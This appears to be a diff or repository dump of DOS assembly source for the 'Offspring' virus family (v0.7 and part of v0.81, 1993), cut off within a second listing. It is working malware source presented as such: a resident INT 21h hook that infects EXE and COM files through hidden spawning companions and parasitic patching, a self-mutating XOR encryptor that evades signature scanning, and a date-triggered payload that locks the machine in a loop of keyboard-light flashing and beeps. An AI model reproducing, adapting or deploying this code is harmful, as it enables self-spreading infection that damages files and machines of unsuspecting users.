INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,714 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with A86 v3.22
|
||||
;
|
||||
;
|
||||
; DISCLAIMER : Don't hold me responsible for any damages, or the release
|
||||
; of this virus. Use at your own risk.
|
||||
;
|
||||
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.7
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
|
||||
; 0Eh (change drive) is called the virus will infect
|
||||
; up to 5 files in the current directory (the one
|
||||
; you're coming out of). It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; bytes between them are constantly changed. The
|
||||
; call to the encryption routine changes, so the
|
||||
; address can be anywhere in a field of NOPs.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
TITLE OFFSPRING_1
|
||||
.286
|
||||
CSEG SEGMENT
|
||||
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
|
||||
|
||||
SIGNAL EQU 7DH ; Installation check
|
||||
REPLY EQU 0FCH ; reply to check
|
||||
CR EQU 0DH ; carraige return
|
||||
LF EQU 0AH ; line feed
|
||||
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
|
||||
F_SIZEL EQU 1CH ; File size - low
|
||||
F_SIZEH EQU 1AH ; File size - high
|
||||
F_DATE EQU 18H ; File date
|
||||
F_TIME EQU 16H ; File time
|
||||
MAX_INF EQU 05 ; Maximum files to infect per run
|
||||
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
|
||||
PARASTIC EQU 01 ; Parastic infection
|
||||
SPAWN EQU 00 ; Spawning infection
|
||||
|
||||
ORG 100H ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
START:
|
||||
|
||||
DB 0BEH ; MOV SI,xxxx - Load delta offset
|
||||
SET_SI: DW 0000H
|
||||
|
||||
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
M_SW1: NOP ; changs into a byte in op_set
|
||||
XCHG_1 DB 0BFH
|
||||
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
|
||||
; Switches positions with XCHG_2
|
||||
M_SW2: NOP ; changes into a byte in op_set
|
||||
XCHG_2 DB 090H
|
||||
ENC_NUM DW 9090H
|
||||
M_SW3: NOP
|
||||
|
||||
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
|
||||
ADD_DI: DW 9000H ; 00-NOP
|
||||
|
||||
CALL_ENC DB 0E8 ; Call encryption routine - address changes
|
||||
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
|
||||
NO_DEC:
|
||||
JMP MAIN ; Jump to virus code
|
||||
|
||||
;-----------------------------------------------
|
||||
; Data area
|
||||
;-----------------------------------------------
|
||||
|
||||
ENC_DATA DW 0000 ; Start of encrypted data
|
||||
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
|
||||
VTYPE DB 00 ; Spawning or Parastic Infection?
|
||||
INF_COUNT DB 0 ; How many files we have infected this run
|
||||
COM_NAME DB 'COMMAND.COM' ; obvious
|
||||
NEW_CODE DW 9090H ; ID bytes
|
||||
NEW_JMP DB 0E9H,00,00 ; New Jump
|
||||
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
|
||||
ADD_MEM DB 0 ; restore mem size? Yes,No
|
||||
|
||||
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
|
||||
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
|
||||
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
|
||||
|
||||
FNAME1 DB '*.EXE',0 ; Filespec
|
||||
FNAME2 DB '*.COM',0 ; Filespec
|
||||
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
|
||||
TIMES_INC DB 0 ; # of times encryption call incremented
|
||||
SL DB '\' ; Backslash for directory name
|
||||
FILE_DIR DB 64 DUP(0) ; directory of file we infected
|
||||
FILE_NAME DB 13 DUP(0) ; filename of file we infected
|
||||
OLD_DTA DD 0 ; old seg:off of DTA
|
||||
OLD21_OFS DW 0 ; Offset of old INT 21H
|
||||
OLD21_SEG DW 0 ; Seg of old INT 21h
|
||||
NEW_SEG DW 0 ; New segment in high mem
|
||||
|
||||
PAR_BLK DW 0 ; command line count byte -psp
|
||||
PAR_CMD DW 0080H ; Point to the command line -psp
|
||||
PAR_SEG DW 0 ; seg
|
||||
DW 05CH ; Use default FCB's in psp to save space
|
||||
PAR1 DW 0 ;
|
||||
DW 06CH ; FCB #2
|
||||
PAR2 DW 0 ;
|
||||
|
||||
;--------------------------------------------------------------------
|
||||
; INT 21h
|
||||
;---------------------------------------------------------------------
|
||||
|
||||
NEW21 PROC ; New INT 21H handler
|
||||
|
||||
CMP AH, SIGNAL ; signaling us?
|
||||
JNE NO
|
||||
MOV AH,REPLY ; yep, give our offspring what he wants
|
||||
JMP END_21
|
||||
NO:
|
||||
CMP AH, 3BH ; set dir func?
|
||||
JE RUN_RES
|
||||
CMP AH,0EH ; set disk func?
|
||||
JE RUN_RES
|
||||
|
||||
JMP END_21
|
||||
|
||||
RUN_RES:
|
||||
PUSHF
|
||||
PUSH AX ; Push regs
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH SI
|
||||
PUSH BP
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH SP
|
||||
PUSH SS
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
XOR AX,AX ; nullify ES
|
||||
MOV ES,AX
|
||||
|
||||
CMP ADD_MEM,1 ; Restore system conventional mem size?
|
||||
JE REL_MEM ;
|
||||
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
|
||||
JE SET_MEM ; total system memory.
|
||||
|
||||
JMP NO_MEM_FUNC
|
||||
|
||||
SET_MEM:
|
||||
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
|
||||
INC ADD_MEM ; make sure we know to add this back
|
||||
JMP NO_MEM_FUNC
|
||||
REL_MEM:
|
||||
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
|
||||
DEC ADD_MEM
|
||||
|
||||
|
||||
NO_MEM_FUNC:
|
||||
MOV AH,2FH
|
||||
INT 21H ; Get the DTA
|
||||
|
||||
MOV AX,ES
|
||||
MOV WORD PTR OLD_DTA,BX
|
||||
MOV WORD PTR OLD_DTA+2,AX
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL RESIDENT ; Call infection kernal
|
||||
|
||||
MOV DX,WORD PTR OLD_DTA
|
||||
MOV AX,WORD PTR OLD_DTA+2
|
||||
MOV DS,AX
|
||||
MOV AH,1AH
|
||||
INT 21H ; Restore the DTA
|
||||
|
||||
POP SS ; Pop regs
|
||||
POP SP
|
||||
POP ES
|
||||
POP DS
|
||||
POP BP
|
||||
POP SI
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
END_21 :
|
||||
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
|
||||
IRET
|
||||
NEW21 ENDP ; End of handler
|
||||
|
||||
|
||||
;------------------------------------------------------------
|
||||
; Main
|
||||
;-----------------------------------------------------------
|
||||
MAIN PROC
|
||||
|
||||
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
|
||||
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
|
||||
|
||||
MOV AX,DS: 002CH ; Get environment address
|
||||
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
|
||||
|
||||
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
|
||||
MOV [SI+OFFSET PAR2],CS
|
||||
MOV [SI+OFFSET PAR_SEG],CS
|
||||
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H
|
||||
|
||||
CMP DL,14 ; 14th?
|
||||
JNE NO_DISPLAY
|
||||
|
||||
MOV AH,09 ; Display message
|
||||
LEA DX,[SI+OFFSET ID]
|
||||
INT 21H
|
||||
|
||||
NO_DISPLAY:
|
||||
CALL INSTALL ; check if installed, if not install
|
||||
|
||||
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
|
||||
JE SKIP_THIS
|
||||
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
|
||||
MOV CL,4 ; divide by 16
|
||||
SHR BX,CL
|
||||
INC BX
|
||||
MOV AH,4AH
|
||||
INT 21H ; Release un-needed memory
|
||||
|
||||
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
|
||||
LEA BX,[SI+OFFSET PAR_BLK]
|
||||
MOV AX,4B00H
|
||||
INT 21H
|
||||
|
||||
MOV AH,4CH ; Exit
|
||||
INT 21H
|
||||
|
||||
SKIP_THIS:
|
||||
|
||||
MOV CX,5 ; Restore original first
|
||||
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
|
||||
MOV DI,0100H
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
MOV AX,0100H ; Simulate CALL return to 0100h
|
||||
PUSH AX
|
||||
RET
|
||||
|
||||
MAIN ENDP
|
||||
|
||||
;---------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------
|
||||
|
||||
INSTALL PROC
|
||||
|
||||
MOV AH,SIGNAL
|
||||
INT 21H
|
||||
CMP AH,REPLY
|
||||
JE NO_INSTALL
|
||||
|
||||
MOV AX,CS
|
||||
DEC AX
|
||||
MOV DS,AX
|
||||
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
|
||||
;the chain?
|
||||
JNE NO_INSTALL
|
||||
|
||||
|
||||
MOV AX,DS: [3] ;Block size in MCB
|
||||
SUB AX,190 ;Shrink Block Size-quick estimate
|
||||
MOV DS: [3],AX
|
||||
|
||||
MOV BX,AX
|
||||
MOV AX,ES
|
||||
ADD AX,BX
|
||||
MOV ES,AX ;Find high memory seg
|
||||
|
||||
PUSH SI
|
||||
ADD SI,0100H
|
||||
MOV CX,(OFFSET VEND - OFFSET START)
|
||||
MOV AX,DS
|
||||
INC AX
|
||||
MOV DS,AX
|
||||
MOV DI,100H ; New location in high memory
|
||||
CLD
|
||||
REP MOVSB ; Copy virus to high memory
|
||||
|
||||
POP SI
|
||||
MOV DS: NEW_SEG,ES ;Save new segment
|
||||
|
||||
PUSH ES
|
||||
POP DS
|
||||
XOR AX,AX
|
||||
MOV ES,AX ; null es
|
||||
MOV AX,ES: [21H*4+2]
|
||||
MOV BX,ES: [21H*4]
|
||||
MOV DS: OLD21_SEG,AX ; Store segment
|
||||
MOV DS: OLD21_OFS,BX ; Store offset
|
||||
|
||||
CLI
|
||||
|
||||
MOV ES: [21H*4+2],DS ; Save seg
|
||||
LEA AX,[OFFSET NEW21]
|
||||
MOV ES: [21H*4],AX ; off
|
||||
|
||||
STI
|
||||
|
||||
NO_INSTALL:
|
||||
PUSH CS ; Restore regs
|
||||
POP DS
|
||||
MOV ES,DS
|
||||
|
||||
RET
|
||||
INSTALL ENDP
|
||||
|
||||
;------------------------
|
||||
; Resident - This is called from the INT 21h handler
|
||||
;-----------------------------
|
||||
RESIDENT PROC
|
||||
|
||||
MOV VTYPE,SPAWN
|
||||
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
|
||||
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
|
||||
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
|
||||
MOV BYTE PTR INF_COUNT,0 ; null infection count
|
||||
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
|
||||
|
||||
FIND_FIRST:
|
||||
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
|
||||
LEA SI, VEND
|
||||
LEA DI, VEND+2
|
||||
MOV CX,22
|
||||
CLD
|
||||
REP MOVSW
|
||||
|
||||
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
|
||||
MOV AH, 1AH
|
||||
LEA DX, VEND
|
||||
INT 21H
|
||||
|
||||
MOV AH, 4EH ; Findfirst
|
||||
MOV CX, 0 ; Set normal file attribute search
|
||||
MOV DX, FNAME_OFF
|
||||
INT 21H
|
||||
|
||||
JNC NEXT_LOOP ; if still finding files then loop
|
||||
JMP END_PROG
|
||||
|
||||
NEXT_LOOP :
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE START_INF ; yes, skip all this
|
||||
|
||||
MOV AH,47H
|
||||
XOR DL,DL
|
||||
LEA SI,FILE_DIR
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
|
||||
JE OK_FIND ; for spawning infections
|
||||
JMP FIND_FILE
|
||||
|
||||
OK_FIND:
|
||||
XOR BX,BX
|
||||
LM3 : ; find end of directory name
|
||||
INC BX
|
||||
CMP FILE_DIR[BX],0
|
||||
JNE LM3
|
||||
|
||||
MOV FILE_DIR[BX],'\' ; append backslash to path
|
||||
INC BX
|
||||
|
||||
MOV CX,13 ; append filename to path
|
||||
LEA SI,VEND[F_NAME]
|
||||
LEA DI,FILE_DIR[BX]
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
XOR BX,BX
|
||||
MOV BX,1EH
|
||||
|
||||
LOOP_ME: ; search for filename ext.
|
||||
INC BX
|
||||
CMP BYTE PTR VEND[BX], '.'
|
||||
JNE LOOP_ME
|
||||
|
||||
INC BX ; change it to COM
|
||||
MOV WORD PTR VEND [BX],'OC'
|
||||
MOV BYTE PTR VEND [BX+2],'M'
|
||||
|
||||
|
||||
START_INF:
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic infection?
|
||||
JE PARASTIC_INF ; yes.. so jump
|
||||
|
||||
;--------------------------------------
|
||||
; Spawning infection
|
||||
|
||||
LEA DX, VEND[F_NAME]
|
||||
MOV AH, 3CH ; Create file
|
||||
MOV CX, 02H ; READ-ONLY
|
||||
OR CX, 01H ; Hidden
|
||||
INT 21H ; Call INT 21H
|
||||
JNC CONTIN ; If Error-probably already infected
|
||||
JMP NO_INFECT
|
||||
CONTIN:
|
||||
|
||||
INC INF_COUNT
|
||||
MOV BX,AX
|
||||
|
||||
JMP ENCRYPT_OPS
|
||||
;----------------------------------------
|
||||
; Parastic infection
|
||||
|
||||
PARASTIC_INF :
|
||||
|
||||
CMP VEND[F_SIZEh],400H
|
||||
JGE CONT_INF2
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF2:
|
||||
|
||||
LEA SI,VEND[F_NAME] ; Is Command.COM?
|
||||
LEA DI,COM_NAME
|
||||
MOV CX,11
|
||||
CLD
|
||||
REPE CMPSB
|
||||
|
||||
JNE CONT_INF0 ; Yes, don't infect
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF0:
|
||||
|
||||
MOV AX,3D02H ; Open file for reading & writing
|
||||
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
|
||||
INT 21H
|
||||
|
||||
JNC CONT_INF1 ; error, skip infection
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF1:
|
||||
|
||||
|
||||
MOV BX,AX
|
||||
|
||||
MOV AH,3FH ; Read first five bytes of file
|
||||
MOV CX,05
|
||||
LEA DX,FIRST_FIVE
|
||||
INT 21H
|
||||
|
||||
CMP WORD PTR FIRST_FIVE,9090H
|
||||
JNE CONT_INF
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
JMP NO_INFECT
|
||||
|
||||
CONT_INF:
|
||||
INC INF_COUNT
|
||||
MOV AX,4202H ; Set pointer to end of file, so we
|
||||
XOR CX,CX ; can find the file size
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
;SUB AX,0100h ; Subtract PSP size
|
||||
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
|
||||
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
|
||||
MOV BYTE PTR DI_INS,81H ; ADD DI op
|
||||
|
||||
MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV AX,VEND[F_SIZEH]
|
||||
SUB AX,5
|
||||
MOV WORD PTR NEW_JMP+1,AX
|
||||
|
||||
|
||||
MOV AH,40H
|
||||
MOV CX,6
|
||||
LEA DX,NEW_CODE
|
||||
INT 21H
|
||||
|
||||
MOV AX,4202H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
|
||||
ENCRYPT_OPS:
|
||||
|
||||
;-----------------------------
|
||||
; Change encryptions ops
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
|
||||
MOV BX,WORD PTR XCHG_2
|
||||
MOV WORD PTR XCHG_1,BX
|
||||
MOV WORD PTR XCHG_2,AX
|
||||
MOV AH, BYTE PTR XCHG_1+2
|
||||
MOV BH, BYTE PTR XCHG_2+2
|
||||
MOV BYTE PTR XCHG_1+2,BH
|
||||
MOV BYTE PTR XCHG_2+2,AH
|
||||
|
||||
XOR_DONE:
|
||||
|
||||
CHG_TWO:
|
||||
XOR CX,CX ; CX=0
|
||||
LEA DI,SW_BYTE1 ; DI->sw_byte1
|
||||
|
||||
CHG_REST:
|
||||
INC ROT_NUM ; increment rotation number
|
||||
MOV BX,ROT_NUM ; bx=rotation num
|
||||
MOV AH,OP_SET[BX] ; ah = new op code from set
|
||||
MOV BYTE PTR [DI],AH
|
||||
|
||||
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
|
||||
JNE CHG_CNT ; no, chg_cnt
|
||||
MOV WORD PTR ROT_NUM,0 ; reset rotation num
|
||||
CHG_CNT:
|
||||
INC CX ; increment count
|
||||
CMP CX,1
|
||||
LEA DI,M_SW1
|
||||
JE CHG_REST
|
||||
CMP CX,2
|
||||
LEA DI,M_SW2
|
||||
JE CHG_REST
|
||||
CMP CX,3
|
||||
LEA DI,M_SW3
|
||||
JE CHG_REST
|
||||
CMP CX,4
|
||||
LEA DI,SW_BYTE1
|
||||
JE CHG_REST
|
||||
|
||||
CHG_THREE:
|
||||
XOR CX,CX
|
||||
LEA DI,SW_BYTE3
|
||||
CHG_FOUR:
|
||||
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
|
||||
MOV BX,1 ;
|
||||
JE MOV_POS ; Yes, so change it to the second
|
||||
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
|
||||
MOV BX,2 ;
|
||||
JE MOV_POS ; Yes, change it to the third
|
||||
XOR BX,BX ; Else, must be in final position
|
||||
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
|
||||
MOV BYTE PTR [DI+2],90H ; to NOP
|
||||
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
|
||||
|
||||
CMP BX,2
|
||||
JNE NO_CHANGE
|
||||
INC CX
|
||||
CMP CX,2
|
||||
LEA DI,SW_BYTE4
|
||||
JNE CHG_FOUR
|
||||
|
||||
NO_CHANGE:
|
||||
CMP BYTE PTR TIMES_INC,9
|
||||
JE INC_NUM
|
||||
INC WORD PTR B_WR
|
||||
INC WORD PTR E_JMP
|
||||
INC WORD PTR E_JMP
|
||||
INC TIMES_INC
|
||||
JMP D2
|
||||
INC_NUM:
|
||||
SUB WORD PTR B_WR,09
|
||||
SUB WORD PTR E_JMP,18
|
||||
MOV TIMES_INC,0
|
||||
|
||||
;-----------------------
|
||||
; Get random XOR number, save it, copy virus, encrypt code
|
||||
|
||||
D2:
|
||||
|
||||
MOV AH,2CH ;
|
||||
INT 21H ; Get random number from clock - millisecs
|
||||
|
||||
MOV WORD PTR XOR_OP+2,DX ; save encryption #
|
||||
|
||||
|
||||
MOV SI,0100H
|
||||
LEA DI,VEND+50 ; destination
|
||||
MOV CX,OFFSET VEND-100H ; bytes to move
|
||||
CLD
|
||||
REP MOVSB ; copy virus outside of code
|
||||
|
||||
|
||||
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
|
||||
CMP BYTE PTR VTYPE, PARASTIC
|
||||
JNE GO_ENC
|
||||
;add di,si
|
||||
|
||||
GO_ENC:
|
||||
CALL ENCRYPT ; encrypt new copy of virus
|
||||
|
||||
;----------------------------------------
|
||||
; Write and close new infected file
|
||||
|
||||
POP BX
|
||||
MOV CX, OFFSET VEND-100H ; # of bytes to write
|
||||
LEA DX, VEND+50 ; Offset of buffer
|
||||
MOV AH, 40H ; -- our program in memory
|
||||
INT 21H ; Call INT 21H function 40h
|
||||
|
||||
CMP VTYPE, PARASTIC ; parastic?
|
||||
JNE CLOSE ; no, don't need to restore date/time
|
||||
|
||||
MOV AX,5701H ; Restore data/time
|
||||
MOV CX,VEND[F_TIME]
|
||||
MOV DX,VEND[F_DATE]
|
||||
INT 21H
|
||||
|
||||
|
||||
CLOSE: MOV AH, 3EH
|
||||
INT 21H
|
||||
|
||||
|
||||
NO_INFECT:
|
||||
|
||||
; Find next file
|
||||
FIND_FILE :
|
||||
|
||||
CMP INF_COUNT, MAX_INF
|
||||
JE END_PROG
|
||||
MOV AH,4FH
|
||||
INT 21H
|
||||
JC END_PROG
|
||||
JMP NEXT_LOOP
|
||||
|
||||
|
||||
END_PROG:
|
||||
EXIT :
|
||||
CMP INF_COUNT,0 ; Start parastic infection on next run
|
||||
JNE FIND_DONE
|
||||
CMP VTYPE, PARASTIC ; Parastic infection done?
|
||||
JE FIND_DONE ; yes, we're finished
|
||||
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
|
||||
MOV VTYPE, PARASTIC ; virus type = parastic
|
||||
JMP FIND_FIRST
|
||||
|
||||
|
||||
FIND_DONE:
|
||||
MOV VTYPE,SPAWN
|
||||
MOV FNAME_OFF, OFFSET FNAME1
|
||||
RET
|
||||
RESIDENT ENDP
|
||||
|
||||
END_ENCRYPT: ; Let's encrypt everything up to here
|
||||
OP_SET DB 90H ; NOP
|
||||
DB 40H ; INC AX
|
||||
DB 43H ; INC BX
|
||||
DB 48H ; DEC AX
|
||||
DB 4BH ; DEC BX
|
||||
DB 0FBH ; STI
|
||||
DB 0FCH ; CLD
|
||||
DB 4AH ; DEC DX
|
||||
DB 42H ; INC DX
|
||||
DB 14 DUP(090H)
|
||||
;------------------------------------------------
|
||||
; Encrypt/Decrypt Routine
|
||||
;-----------------------------------------------
|
||||
|
||||
ENCRYPT PROC
|
||||
CX_M DB 0B9H ; MOV CX
|
||||
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
|
||||
E2:
|
||||
SW_BYTE1: ; XOR [di],dx swaps positions with this
|
||||
NOP
|
||||
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
|
||||
SW_BYTE3: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE4: ; INC DI changes position in these bytes
|
||||
INC DI
|
||||
NOP
|
||||
NOP
|
||||
SW_BYTE2:
|
||||
NOP ; This byte changes into a char in op_set
|
||||
LOOP E2 ; loop while cx != 0
|
||||
|
||||
RET
|
||||
|
||||
ENCRYPT ENDP
|
||||
|
||||
VEND DW 0 ; End of virus
|
||||
|
||||
CSEG ENDS
|
||||
END START
|
||||
@@ -0,0 +1,665 @@
|
||||
;-------------------------------------------------------------------------
|
||||
; ************************************************
|
||||
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
|
||||
; ************************************************
|
||||
;
|
||||
; - Compatible with : TASM /m2
|
||||
;
|
||||
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
|
||||
;
|
||||
;
|
||||
; VERSION : BETA 0.81
|
||||
;
|
||||
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
|
||||
; is called the virus will infect up to 5 files
|
||||
; in the current directory. It will first infect all
|
||||
; EXE files by creating a corresponding COM. Once
|
||||
; all EXE files have been infected, it then infects
|
||||
; COM files. All COM files created by a spawning
|
||||
; infection will have the read-only and hidden
|
||||
; attribute.
|
||||
;
|
||||
;
|
||||
; THE ENCRYPION OF THIS VIRUS :
|
||||
; Ok, this virus's encryption method is a simple
|
||||
; XOR. The encryption operands are changed directly.
|
||||
; Also, the operands are switched around, and the
|
||||
; encryption routine switches from using di to si.
|
||||
; Not anything overly amazing, but it works.
|
||||
;
|
||||
;
|
||||
title offspring_1
|
||||
.286
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
|
||||
|
||||
signal equ 7dh ; Installation check
|
||||
reply equ 0fch ; reply to check
|
||||
f_name equ 1eh ; Offset of file name in FF/FN buffer
|
||||
f_sizel equ 1ch ; File size - low - loc in mem
|
||||
f_sizeh equ 1ah ; File size - high - loc in mem
|
||||
f_date equ 18h ; File date - loc in mem
|
||||
f_time equ 16h ; File time - loc in mem
|
||||
max_inf equ 05 ; Maximum files to infect per run
|
||||
max_rotation equ 9 ; number of bytes in switch byte table
|
||||
parastic equ 01 ; Parastic infection
|
||||
spawn equ 00 ; Spawning infection
|
||||
|
||||
org 100h ; Leave room for PSP
|
||||
|
||||
;------------------------------------------------------------------
|
||||
; Start of viral code
|
||||
;------------------------------------------------------------------
|
||||
|
||||
start:
|
||||
|
||||
db 0bdh ; MOV BP,xxxx - Load delta offset
|
||||
set_bp:
|
||||
dw 0000
|
||||
|
||||
skip_dec:
|
||||
jmp main ; Skip decryption, changes into NOP on
|
||||
; replicated copies.
|
||||
di_op db 0bfh
|
||||
mov_di dw offset enc_data+2 ; Point to byte after encryption num
|
||||
;
|
||||
;-------------------------
|
||||
; Encryption/Decryption
|
||||
|
||||
encrypt:
|
||||
cx_m db 90h,0b9h ; MOV CX
|
||||
b_wr dw (offset vend-offset enc_data)/2
|
||||
xor_loop:
|
||||
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
|
||||
sw_byte3: ; INC xx changes position in these bytes
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
sw_byte4:
|
||||
inc di
|
||||
nop
|
||||
nop
|
||||
loop xor_loop ; loop while cx != 0
|
||||
|
||||
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
|
||||
|
||||
enc_data: ; Start of encrypted data
|
||||
|
||||
;-------------------------------
|
||||
; Non-Resident portion of virus
|
||||
;-------------------------------
|
||||
main proc
|
||||
|
||||
mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption
|
||||
|
||||
mov ax,ds: 002ch ; Get environment address
|
||||
mov par_blk[bp],ax ; Save in parameter block for exec
|
||||
|
||||
mov par1[bp],cs ; Save segments for EXEC
|
||||
mov par2[bp],cs
|
||||
mov par_seg[bp],cs
|
||||
|
||||
mov ah,2ah ; Get date
|
||||
int 21h
|
||||
|
||||
cmp dl,9 ; 9th?
|
||||
jne no_display
|
||||
|
||||
mov ah,09 ; display virus name
|
||||
lea dx,vname[bp]
|
||||
int 21h
|
||||
|
||||
xor ax,ax ; seg 0
|
||||
mov es,ax
|
||||
mov dx,1010101010101010b ; lights
|
||||
chg_lights: ; Infinite loop to change keyboard
|
||||
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
|
||||
ror dx,1 ; rotate bits
|
||||
mov cx,0101h ; scan code/ascii
|
||||
mov ah,05h ; push a beep onto keyb buf
|
||||
int 16h
|
||||
mov ah,10h ; Read key back so we don't fill
|
||||
int 16h ; up the keyboard buffer
|
||||
int 5h ; Print-Screen
|
||||
mov ax,0a07h ; Write BEEP to screen
|
||||
xor bh,bh
|
||||
mov cx,1
|
||||
int 10h
|
||||
mov ah,86h ; Delay
|
||||
mov cx,0002h
|
||||
int 15h
|
||||
|
||||
jmp chg_lights
|
||||
|
||||
no_display:
|
||||
|
||||
call install ; check if installed, if not install
|
||||
|
||||
cmp byte ptr vtype[bp],parastic
|
||||
je com_return
|
||||
|
||||
mov bx,(offset vend+50) ; Calculate memory needed
|
||||
mov cl,4 ; divide by 16
|
||||
shr bx,cl
|
||||
inc bx
|
||||
mov ah,4ah
|
||||
int 21h ; Release un-needed memory
|
||||
|
||||
lea dx,file_dir-1[bp] ; Execute the original EXE
|
||||
lea bx,par_blk[bp]
|
||||
mov ch,0FBh ; tell mem. resident virus
|
||||
mov ax,4b00h ; that it's us.
|
||||
int 21h
|
||||
|
||||
mov ah,4ch ; Exit
|
||||
int 21h
|
||||
|
||||
com_return:
|
||||
|
||||
mov si,bp
|
||||
mov cx,4 ; Restore original first
|
||||
add si,offset org_bytes ; five bytes of COM file
|
||||
mov di,0100h
|
||||
cld
|
||||
rep movsb
|
||||
|
||||
mov ax,0100h ; Simulate CALL return to 0100h
|
||||
push ax
|
||||
ret
|
||||
|
||||
main endp
|
||||
|
||||
;--------------------------------------
|
||||
; INSTALL - Install the virus
|
||||
;--------------------------------------
|
||||
|
||||
install proc
|
||||
|
||||
mov ah,signal
|
